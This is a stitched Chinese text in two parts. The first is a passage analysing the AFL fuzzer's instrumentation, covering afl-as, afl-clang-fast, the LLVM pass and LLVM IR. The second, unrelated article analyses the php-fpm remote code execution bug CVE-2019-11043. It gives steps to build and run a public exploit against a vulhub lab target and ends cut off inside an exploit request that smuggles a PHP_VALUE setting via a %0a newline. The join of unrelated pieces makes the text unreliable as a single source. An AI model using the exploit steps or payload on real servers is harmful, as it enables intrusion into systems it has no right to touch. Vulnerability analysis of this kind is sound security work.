* 如果line的值为`\tj[!m]...`,且`R(100) < inst_ratio`，R(100)会返回一个100以内的随机数，inst_ratio是我们之前设置的插桩密度，默认为100，如果设置了asan之类的就会默认设置成30左右。
* `fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));`根据use_64bit来判断向outfd里写入trampoline_fmt_64还是trampoline_fmt_32。
* `define R(x) (random() % (x))`，可以看到R(x)是创建的随机数除以x取余，所以可能产生碰撞
* 这里的R(x)实际上是用来区分每个桩的，也就是是一个标识。后文会再说明。
* 将插桩计数器`ins_lines`加一。
* 首先检查该行中是否存在`:`，然后检查是否以`.开始`
* 如果以`.`开始，则代表想要插桩`^.L0:`或者`^.LBB0_0:`这样的branch label，即style jump destination
* 然后检查`line[2]`是否为数字 或者 如果是在clang_mode下，比较从line[1]开始的三个字节是否为LBB. 前述所得结果和`R(100) < inst_ratio)`相与。
* 如果结果为真，则设置`instrument_next = 1`
* 否则代表这是一个function，插桩`^func:`function entry point
* 直接设置`instrument_next = 1`
* 如果插桩计数器ins_lines不为0，就在完全拷贝input_file之后，依据架构，像outf中写入main_payload_64或者main_payload_32，然后关闭这两个文件
* **至此我们可以看出afl的插桩相当简单粗暴，就是通过汇编的前导命令来判断这是否是一个分支或者函数，然后插入instrumentation trampoline。**
* **关于instrumentation trampoline，后文叙述**
#### main函数
最后我们回来看一下main函数
* 读取环境变量AFL_INST_RATIO的值，设置为inst_ratio_str
* 设置srandom的随机种子为`rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();`
* 设置环境变量AS_LOOP_ENV_VAR的值为1
* 读取环境变量AFL_USE_ASAN和AFL_USE_MSAN的值，如果其中有一个为1，则设置sanitizer为1，且将inst_ratio除3。
* 这是因为AFL无法在插桩的时候识别出ASAN specific branches，所以会插入很多无意义的桩，为了降低这种概率，粗暴的将整个插桩的概率都除以3
* edit_params(argc, argv)
* add_instrumentation()
* fork出一个子进程，让子进程来执行`execvp(as_params[0], (char **) as_params);`
* 这其实是因为我们的execvp执行的时候，会用`as_params[0]`来完全替换掉当前进程空间中的程序，如果不通过子进程来执行实际的as，那么后续就无法在执行完实际的as之后，还能unlink掉modified_file
* [exec系列函数](https://www.cnblogs.com/mickole/p/3187409.html)
* [fork出的子进程和父进程](https://blog.csdn.net/THEONE10211024/article/details/13774669)
* `waitpid(pid, &status, 0)`等待子进程结束
* 读取环境变量AFL_KEEP_ASSEMBLY的值，如果没有设置这个环境变量，就unlink掉modified_file。
稍微打印一下参数
for (int i = 0; i < sizeof(as_params); i++) {
printf("as_params[%d]:%s\n", i, as_params[i]);
}
...
[+] Instrumented 5 locations (64-bit, non-hardened mode, ratio 100%).
as_params[0]:as
as_params[1]:/Users/sakura/gitsource/AFL/cmake-build-debug/tmp/afl-8427-1595314986.s
## afl-fast-clang中叙
因为AFL对于上述通过`afl-gcc`来插桩这种做法已经属于不建议，并提供了更好的工具afl-clang-fast，通过llvm pass来插桩。
### clang wrapper
`afl-clang-fast.c`这个文件其实是clang的一层wrapper，和之前的`afl-gcc`一样，只是定义了一些宏，和传递了一些参数给真正的clang。
我们还是依次来看一下核心函数。
#### find_obj
* 获取环境变量`AFL_PATH`的值，如果存在，就去读取`AFL_PATH/afl-llvm-rt.o`是否可以访问，如果可以就设置这个目录为`obj_path`，然后直接返回
* 如果没有设置这个环境变量，就检查arg0中是否存在`/`，例如我们可能是通过`/home/sakura/AFL/afl-clang-fast`去调用afl-clang-fast的，所以它此时就认为最后一个`/`之前的`/home/sakura/AFL`是AFL的根目录，然后读取其下的`afl-llvm-rt.o`文件，看是否能够访问，如果可以就设置这个目录为`obj_path`，然后直接返回。
* 最后如果上面两种都找不到，因为默认的AFL的MakeFile在编译的时候，会定义一个名为`AFL_PATH`的宏，其指向`/usr/local/lib/afl`,会到这里找是否存在`afl-llvm-rt.o`，如果存在设置`obj_path`并直接返回。
* 如果上述三种方式都找不到，那么就会抛出异常`Unable to find 'afl-llvm-rt.o' or 'afl-llvm-pass.so'. Please set AFL_PATH`
#### edit_params
* 首先根据我们执行的是`afl-clang-fast`还是`afl-clang-fast++`来决定`cc_params[0]`的值是clang++还是clang。
* 如果执行的是`afl-clang-fast++`，读取环境变量`AFL_CXX`，如果存在，就将其值设置为`cc_params[0]`，如果不存在，就直接设置成`clang++`
* 如果执行的是`afl-clang-fast`，读取环境变量`AFL_CC`，如果存在，就将其值设置为`cc_params[0]`，如果不存在，就直接设置成`clang`
* 默认情况下，我们通过`afl-llvm-pass.so`来注入instrumentation，但是现在也支持`trace-pc-guard`模式，可以参考[llvm的文档](http://clang.llvm.org/docs/SanitizerCoverage.html#tracing-pcs-with-guards)
* 然后如果定义了`USE_TRACE_PC`宏，就将`-fsanitize-coverage=trace-pc-guard -mllvm -sanitizer-coverage-block-threshold=0`添加到参数里
* 如果没有定义，就依次将`-Xclang -load -Xclang obj_path/afl-llvm-pass.so -Qunused-arguments`
* 依次读取我们传给`afl-clang-fast`的参数，并添加到cc_params里，不过这里会做一些检查和设置。
* 如果传入参数里有`-m32`或者`armv7a-linux-androideabi`，就设置`bit_mode`为32
* 如果传入参数里有`-m64`，就设置`bit_mode`为64
* 如果传入参数里有`-x`，就设置`x_set`为1
* 如果传入参数里有`-fsanitize=address`或者`-fsanitize=memory`，就设置asan_set为1
* 如果传入参数里有`-Wl,-z,defs`或者`-Wl,--no-undefined`，就直接pass掉，不传给clang。
* 读取环境变量`AFL_HARDEN`，如果存在，就在cc_params里添加`-fstack-protector-all`
* 如果参数里没有`-fsanitize=address/memory`，即asan_set是0，就读取环境变量`AFL_USE_ASAN`，如果存在就添加`-fsanitize=address`到cc_params里，环境变量`AFL_USE_MSAN`同理
* 如果定义了`USE_TRACE_PC`宏，就检查是否存在环境变量`AFL_INST_RATIO`，如果存在就抛出异常`AFL_INST_RATIO not available at compile time with 'trace-pc'.`
* 读取环境变量`AFL_DONT_OPTIMIZE`，如果 **不存在** 就添加`-g -O3 -funroll-loops`到参数里
* 读取环境变量`AFL_NO_BUILTIN`，如果存在就添加`-fno-builtin-strcmp`等。
* 添加参数`-D__AFL_HAVE_MANUAL_CONTROL=1 -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1`，定义一些宏
* 这里定义了如下两个宏`__AFL_LOOP`,`__AFL_INIT()`,宏展开是类似这样的，为简化我去掉了和编译器优化相关的东西。
#define __AFL_LOOP() \
do { \
static char *_B; \
_B = (char*)"##SIG_AFL_PERSISTENT##"; \
__afl_persistent_loop(); \
}while (0)
#define __AFL_INIT() \
do { \
static char *_A; \
_A = (char*)"##SIG_AFL_DEFER_FORKSRV##"; \
__afl_manual_init(); \
} while (0)
* 如果x_set为1，则添加参数`-x none`
* 根据`bit_mode`的值选择`afl-llvm-rt`
* 如果为0，即没有`-m32`和`-m64`选项，就向参数里添加`obj_path/afl-llvm-rt.o`
* 如果为32，添加`obj_path/afl-llvm-rt-32.o`
* 如果为64，添加`obj_path/afl-llvm-rt-64.o`
#### main
* 寻找obj_path路径
* 编辑参数cc_params
* 替换进程空间，执行要调用的clang和为其传递参数
* `execvp(cc_params[0], (char**)cc_params);`
### afl-llvm-pass
关于llvm不懂的可以看CSCD70，顺便可以学一下优化，这里放一下我之前抽空做的[笔记](https://github.com/eternalsakura/sakura_llvm_opt),
以及[这篇文章](https://blog.csdn.net/qq_23599965/article/details/88538590)可以列为查询和参考.
afl-llvm-pass里只有一个Transform pass
AFLCoverage，其继承自ModulePass，所以我们主要分析一下它的`runOnModule`函数，这里简单的介绍一下llvm里的一些层次关系，粗略理解就是Module相当于你的程序，里面包含所有Function和全局变量，而Function里包含所有BasicBlock和函数参数，BasicBlock里包含所有Instruction,Instruction包含Opcode和Operands。
#### 注册pass
static void registerAFLPass(const PassManagerBuilder &,
legacy::PassManagerBase &PM) {
PM.add(new AFLCoverage());
}
static RegisterStandardPasses RegisterAFLPass(
PassManagerBuilder::EP_ModuleOptimizerEarly, registerAFLPass);
static RegisterStandardPasses RegisterAFLPass0(
PassManagerBuilder::EP_EnabledOnOptLevel0, registerAFLPass);
这些都是向PassManager来注册新的pass，每个pass彼此独立，通过PM统一注册和调度，更加模块化。
具体的可以参考定义，我摘取了必要的代码和注释，请仔细阅读。
简单的理解就是当我创建了一个类RegisterStandardPasses之后，就会调用它的构造函数，然后调用`PassManagerBuilder::addGlobalExtension`，这是一个静态函数，这个函数会创建一个tuple保存
**Ty和Fn还有一个id** ，并将其添加到一个静态全局vector里，以供PassManagerBuilder在需要的时候，将其添加到PM里。
而这个添加的时机就是`ExtensionPointTy`来指定的。
/// Registers a function for adding a standard set of passes. This should be
/// used by optimizer plugins to allow all front ends to transparently use
/// them. Create a static instance of this class in your plugin, providing a
/// private function that the PassManagerBuilder can use to add your passes.
class RegisterStandardPasses {
PassManagerBuilder::GlobalExtensionID ExtensionID;
public:
RegisterStandardPasses(PassManagerBuilder::ExtensionPointTy Ty,
PassManagerBuilder::ExtensionFn Fn) {
ExtensionID = PassManagerBuilder::addGlobalExtension(Ty, std::move(Fn));
}
~RegisterStandardPasses() {
...
}
};
...
/// PassManagerBuilder - This class is used to set up a standard optimization
/// sequence for languages like C and C++, allowing some APIs to customize the
/// pass sequence in various ways. A simple example of using it would be:
///
/// PassManagerBuilder Builder;
/// Builder.OptLevel = 2;
/// Builder.populateFunctionPassManager(FPM);
/// Builder.populateModulePassManager(MPM);
///
/// In addition to setting up the basic passes, PassManagerBuilder allows
/// frontends to vend a plugin API, where plugins are allowed to add extensions
/// to the default pass manager. They do this by specifying where in the pass
/// pipeline they want to be added, along with a callback function that adds
/// the pass(es). For example, a plugin that wanted to add a loop optimization
/// could do something like this:
///
/// static void addMyLoopPass(const PMBuilder &Builder, PassManagerBase &PM) {
/// if (Builder.getOptLevel() > 2 && Builder.getOptSizeLevel() == 0)
/// PM.add(createMyAwesomePass());
/// }
/// ...
/// Builder.addExtension(PassManagerBuilder::EP_LoopOptimizerEnd,
/// addMyLoopPass);
/// ...
class PassManagerBuilder {
public:
/// Extensions are passed to the builder itself (so they can see how it is
/// configured) as well as the pass manager to add stuff to.
typedef std::function<void(const PassManagerBuilder &Builder,
legacy::PassManagerBase &PM)>
ExtensionFn;
typedef int GlobalExtensionID;
enum ExtensionPointTy {
/// EP_ModuleOptimizerEarly - This extension point allows adding passes
/// just before the main module-level optimization passes.
EP_ModuleOptimizerEarly,
...
/// EP_EnabledOnOptLevel0 - This extension point allows adding passes that
/// should not be disabled by O0 optimization level. The passes will be
/// inserted after the inlining pass.
EP_EnabledOnOptLevel0,
...
}
...
...
/// Adds an extension that will be used by all PassManagerBuilder instances.
/// This is intended to be used by plugins, to register a set of
/// optimisations to run automatically.
///
/// \returns A global extension identifier that can be used to remove the
/// extension.
static GlobalExtensionID addGlobalExtension(ExtensionPointTy Ty,
ExtensionFn Fn);
...
}
...
...
/// PassManagerBase - An abstract interface to allow code to add passes to
/// a pass manager without having to hard-code what kind of pass manager
/// it is.
class PassManagerBase {
public:
virtual ~PassManagerBase();
/// Add a pass to the queue of passes to run. This passes ownership of
/// the Pass to the PassManager. When the PassManager is destroyed, the pass
/// will be destroyed as well, so there is no need to delete the pass. This
/// may even destroy the pass right away if it is found to be redundant. This
/// implies that all passes MUST be allocated with 'new'.
virtual void add(Pass *P) = 0;
};
#### runOnModule
* 通过getContext来获取LLVMContext，其保存了整个程序里分配的类型和常量信息。
* 通过这个Context来获取type实例Int8Ty和Int32Ty
* Type是所有type类的一个超类。 **每个Value都有一个Type** ，所以这经常被用于寻找指定类型的Value。Type不能直接实例化，只能通过其子类实例化。某些基本类型(VoidType、LabelType、FloatType和DoubleType)有隐藏的子类。之所以隐藏它们，是因为除了Type类提供的功能之外，它们没有提供任何有用的功能，除了将它们与Type的其他子类区分开来之外。所有其他类型都是DerivedType的子类。Types可以被命名，但这不是必需的。一个给定Type在任何时候都只存在一个实例。这允许使用Type实例的地址相等来执行type相等。也就是说，给定两个Type*值，如果指针相同，则types相同。
* 读取环境变量`AFL_INST_RATIO`给变量inst_ratio，其值默认为100，这个值代表一个插桩概率，本来应该每个分支都必定插桩，而这是一个随机的概率决定是否要在这个分支插桩。
* 获取全局变量中指向共享内存的指针，以及上一个基础块的编号
GlobalVariable *AFLMapPtr =
new GlobalVariable(M, PointerType::get(Int8Ty, 0), false,
GlobalValue::ExternalLinkage, 0, "__afl_area_ptr");
GlobalVariable *AFLPrevLoc = new GlobalVariable(
M, Int32Ty, false, GlobalValue::ExternalLinkage, 0, "__afl_prev_loc",
0, GlobalVariable::GeneralDynamicTLSModel, 0, false);
* 遍历每个基本块，找到此基本块中适合插入instrument的位置，后续通过初始化IRBuilder的一个实例进行插入。
BasicBlock::iterator IP = BB.getFirstInsertionPt();
IRBuilder<> IRB(&(*IP));
* 随机创建一个当前基本块的编号，并通过插入load指令来获取前一个基本块的编号。
unsigned int cur_loc = AFL_R(MAP_SIZE);
ConstantInt *CurLoc = ConstantInt::get(Int32Ty, cur_loc);
LoadInst *PrevLoc = IRB.CreateLoad(AFLPrevLoc);
PrevLoc->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
Value *PrevLocCasted = IRB.CreateZExt(PrevLoc, IRB.getInt32Ty());
* 通过插入load指令来获取共享内存的地址，并通过CreateGEP函数来获取共享内存里指定index的地址，这个index通过cur_loc和prev_loc取xor计算得到。
LoadInst *MapPtr = IRB.CreateLoad(AFLMapPtr);
MapPtr->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
Value *MapPtrIdx =
IRB.CreateGEP(MapPtr, IRB.CreateXor(PrevLocCasted, CurLoc));
* 通过插入load指令来读取对应index地址的值，并通过插入add指令来将其加一，然后通过创建store指令将新值写入，更新共享内存。
LoadInst *Counter = IRB.CreateLoad(MapPtrIdx);
Counter->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
Value *Incr = IRB.CreateAdd(Counter, ConstantInt::get(Int8Ty, 1));
IRB.CreateStore(Incr, MapPtrIdx)
->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
* 将当前cur_loc的值右移一位，然后通过插入store指令，更新`__afl_prev_loc`的值。
StoreInst *Store = IRB.CreateStore(ConstantInt::get(Int32Ty, cur_loc >> 1), AFLPrevLoc);
Store->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
* 总结
总的来说就是通过遍历每个基本块，向其中插入实现了如下伪代码功能的instruction ir来进行插桩。
cur_location = <COMPILE_TIME_RANDOM>;
shared_mem[cur_location ^ prev_location]++;
prev_location = cur_location >> 1;
看一个例子
* 源程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char** argv) {
char buf[8];
if (read(0, buf, 8) < 1) {
printf("Hum?\n");
exit(1);
}
if (buf[0] == '0')
printf("Looks like a zero to me!\n");
else
printf("A non-zero value? How quaint!\n");
exit(0);
}
* 插桩前的ir
; ModuleID = 'nopt_test-instr.ll'
source_filename = "test-instr.c"
target datalayout = "e-m:o-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-apple-macosx10.15.0"
@.str = private unnamed_addr constant [6 x i8] c"Hum?\0A\00", align 1
@.str.1 = private unnamed_addr constant [26 x i8] c"Looks like a zero to me!\0A\00", align 1
@.str.2 = private unnamed_addr constant [31 x i8] c"A non-zero value? How quaint!\0A\00", align 1
; Function Attrs: noinline nounwind ssp uwtable
define i32 @main(i32 %0, i8** %1) #0 {
%3 = alloca [8 x i8], align 1
%4 = getelementptr inbounds [8 x i8], [8 x i8]* %3, i64 0, i64 0
%5 = call i64 @"\01_read"(i32 0, i8* %4, i64 8)
%6 = icmp slt i64 %5, 1
br i1 %6, label %7, label %9
7: ; preds = %2
%8 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0))
call void @exit(i32 1) #3
unreachable
9: ; preds = %2
%10 = getelementptr inbounds [8 x i8], [8 x i8]* %3, i64 0, i64 0
%11 = load i8, i8* %10, align 1
%12 = sext i8 %11 to i32
%13 = icmp eq i32 %12, 48
br i1 %13, label %14, label %16
14: ; preds = %9
%15 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.1, i64 0, i64 0))
br label %18
16: ; preds = %9
%17 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.2, i64 0, i64 0))
br label %18
18: ; preds = %16, %14
call void @exit(i32 0) #3
unreachable
}
declare i64 @"\01_read"(i32, i8*, i64) #1
declare i32 @printf(i8*, ...) #1
; Function Attrs: noreturn
declare void @exit(i32) #2
attributes #0 = { noinline nounwind ssp uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+cx8,+fxsr,+mmx,+sahf,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+cx8,+fxsr,+mmx,+sahf,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #2 = { noreturn "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+cx8,+fxsr,+mmx,+sahf,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1}
!llvm.ident = !{!2}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 7, !"PIC Level", i32 2}
!2 = !{!"clang version 10.0.0 "}
* 插桩后的ir
; ModuleID = 'm2r_nopt_test-instr.ll'
source_filename = "test-instr.c"
target datalayout = "e-m:o-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-apple-macosx10.15.0"
@.str = private unnamed_addr constant [6 x i8] c"Hum?\0A\00", align 1
@.str.1 = private unnamed_addr constant [26 x i8] c"Looks like a zero to me!\0A\00", align 1
@.str.2 = private unnamed_addr constant [31 x i8] c"A non-zero value? How quaint!\0A\00", align 1
@__afl_area_ptr = external global i8*
@__afl_prev_loc = external thread_local global i32
; Function Attrs: noinline nounwind ssp uwtable
define i32 @main(i32 %0, i8** %1) #0 {
%3 = load i32, i32* @__afl_prev_loc, !nosanitize !3
%4 = load i8*, i8** @__afl_area_ptr, !nosanitize !3
%5 = xor i32 %3, 17767
%6 = getelementptr i8, i8* %4, i32 %5
%7 = load i8, i8* %6, !nosanitize !3
%8 = add i8 %7, 1
store i8 %8, i8* %6, !nosanitize !3
store i32 8883, i32* @__afl_prev_loc, !nosanitize !3
%9 = alloca [8 x i8], align 1
%10 = getelementptr inbounds [8 x i8], [8 x i8]* %9, i64 0, i64 0
%11 = call i64 @"\01_read"(i32 0, i8* %10, i64 8)
%12 = icmp slt i64 %11, 1
br i1 %12, label %13, label %21
13: ; preds = %2
%14 = load i32, i32* @__afl_prev_loc, !nosanitize !3
%15 = load i8*, i8** @__afl_area_ptr, !nosanitize !3
%16 = xor i32 %14, 9158
%17 = getelementptr i8, i8* %15, i32 %16
%18 = load i8, i8* %17, !nosanitize !3
%19 = add i8 %18, 1
store i8 %19, i8* %17, !nosanitize !3
store i32 4579, i32* @__afl_prev_loc, !nosanitize !3
%20 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str, i64 0, i64 0))
call void @exit(i32 1) #3
unreachable
21: ; preds = %2
%22 = load i32, i32* @__afl_prev_loc, !nosanitize !3
%23 = load i8*, i8** @__afl_area_ptr, !nosanitize !3
%24 = xor i32 %22, 39017
%25 = getelementptr i8, i8* %23, i32 %24
%26 = load i8, i8* %25, !nosanitize !3
%27 = add i8 %26, 1
store i8 %27, i8* %25, !nosanitize !3
store i32 19508, i32* @__afl_prev_loc, !nosanitize !3
%28 = getelementptr inbounds [8 x i8], [8 x i8]* %9, i64 0, i64 0
%29 = load i8, i8* %28, align 1
%30 = sext i8 %29 to i32
%31 = icmp eq i32 %30, 48
br i1 %31, label %32, label %40
32: ; preds = %21
%33 = load i32, i32* @__afl_prev_loc, !nosanitize !3
%34 = load i8*, i8** @__afl_area_ptr, !nosanitize !3
%35 = xor i32 %33, 18547
%36 = getelementptr i8, i8* %34, i32 %35
%37 = load i8, i8* %36, !nosanitize !3
%38 = add i8 %37, 1
store i8 %38, i8* %36, !nosanitize !3
store i32 9273, i32* @__afl_prev_loc, !nosanitize !3
%39 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.1, i64 0, i64 0))
br label %48
40: ; preds = %21
%41 = load i32, i32* @__afl_prev_loc, !nosanitize !3
%42 = load i8*, i8** @__afl_area_ptr, !nosanitize !3
%43 = xor i32 %41, 56401
%44 = getelementptr i8, i8* %42, i32 %43
%45 = load i8, i8* %44, !nosanitize !3
%46 = add i8 %45, 1
store i8 %46, i8* %44, !nosanitize !3
store i32 28200, i32* @__afl_prev_loc, !nosanitize !3
%47 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.2, i64 0, i64 0))
br label %48
48: ; preds = %40, %32
%49 = load i32, i32* @__afl_prev_loc, !nosanitize !3
%50 = load i8*, i8** @__afl_area_ptr, !nosanitize !3
%51 = xor i32 %49, 23807
%52 = getelementptr i8, i8* %50, i32 %51
%53 = load i8, i8* %52, !nosanitize !3
%54 = add i8 %53, 1
store i8 %54, i8* %52, !nosanitize !3
store i32 11903, i32* @__afl_prev_loc, !nosanitize !3
call void @exit(i32 0) #3
unreachable
}
declare i64 @"\01_read"(i32, i8*, i64) #1
declare i32 @printf(i8*, ...) #1
; Function Attrs: noreturn
declare void @exit(i32) #2
attributes #0 = { noinline nounwind ssp uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+cx8,+fxsr,+mmx,+sahf,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+cx8,+fxsr,+mmx,+sahf,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #2 = { noreturn "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="penryn" "target-features"="+cx16,+cx8,+fxsr,+mmx,+sahf,+sse,+sse2,+sse3,+sse4.1,+ssse3,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1}
!llvm.ident = !{!2}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 7, !"PIC Level", i32 2}
!2 = !{!"clang version 10.0.0 "}
!3 = !{} | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2019年10月25日**
**英文版本:<https://paper.seebug.org/1064/>**
国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现，向目标服务器 URL 发送 %0a 符号时，服务返回异常，疑似存在漏洞。
2019年10月23日，github公开漏洞相关的详情以及exp。当nginx配置不当时，会导致php-fpm远程任意代码执行。
下面我们就来一点点看看漏洞的详细分析，文章中漏洞分析部分感谢团队小伙伴@Hcamael#知道创宇404实验室
# 漏洞复现
为了能更方便的复现漏洞，这里我们采用vulhub来构建漏洞环境。
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
`git pull`并`docker-compose up -d`
访问`http://{your_ip}:8080/`
下载github上公开的exp(需要go环境)。
go get github.com/neex/phuip-fpizdam
然后编译
go install github.com/neex/phuip-fpizdam
使用exp攻击demo网站
phuip-fpizdam http://{your_ip}:8080/
攻击成功
# 漏洞分析
在分析漏洞原理之前，我们这里可以直接跟入看修复的commit
-<https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a#diff-624bdd47ab6847d777e15327976a9227>
从commit中我们可以很清晰的看出来漏洞成因应该是`path_info`的地址可控导致的，再结合漏洞发现者公开的漏洞信息中提到
The regexp in `fastcgi_split_path_info` directive can be broken using the newline character (in encoded form, %0a). Broken regexp leads to empty PATH_INFO, which triggers the bug.
也就是说，当`path_info`被%0a截断时，`path_info`将被置为空，回到代码中我就不难发现问题所在了。
其中`env_path_info`就是变量`path_info`的地址，`path_info`为0则`plien`为0.
`slen`变量来自于请求后url的长度
int ptlen = strlen(pt);
int slen = len - ptlen;
其中
int len = script_path_translated_len;
len为url路径长度
当请求url为http://127.0.0.1/index.php/123%0atest.php
script_path_translated来自于nginx的配置，为/var/www/html/index.php/123\ntest.php
ptlen则为url路径第一个斜杠之前的内容长度
当请求url为http://127.0.0.1/index.php/123%0atest.php
pt为/var/www/html/index.php
**这两个变量的差就是后面的路径长度，由于路径可控，则`path_info`可控。**
由于`path_info`可控，在1222行我们就可以将指定地址的值置零，根据漏洞发现者的描述，通过将指定的地址的值置零，可以控制使`_fcgi_data_seg`结构体的`char*
pos`置零。
其中`script_name`同样来自于请求的配置
而为什么我们使`_fcgi_data_seg`结构体的`char* pos`置零，就会影响到`FCGI_PUTENV`的结果呢？
这里我们深入去看`FCGI_PUTENV`的定义.
char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val);
跟入函数`fcgi_quick_putenv`
<https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L1703>
函数直接操作request的env，而这个参数在前面被预定义。
<https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L908>
继续跟进初始化函数`fcgi_hash_init`.
<https://github.com/php/php-src/blob/5d6e923d46a89fe9cd8fb6c3a6da675aa67197b4/main/fastcgi.c#L254>
也就是说`request->env`就是前面提到的`fcgi_data_seg`结构体，而这里的`request->env`是nginx在和fastcgi通信时储存的全局变量。
部分全局变量会在nginx的配置中定义
其中变量会在堆上相应的位置储存
回到利用过程中，这里我们通过控制`path_info`指向`request->env`来使`request->env->pos`置零。
继续回到赋值函数`fcgi_hash_set`函数
紧接着进入`fcgi_hash_strndup`
**这里`h->data-》pos`的最低位被置为0，且str可控，就相当于我们可以在前面写入数据。**
而问题就在于，我们怎么能向我们想要的位置写数据呢？又怎么向我们指定的配置写文件呢？
这里我们拿exp发送的利用数据包做例子
GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ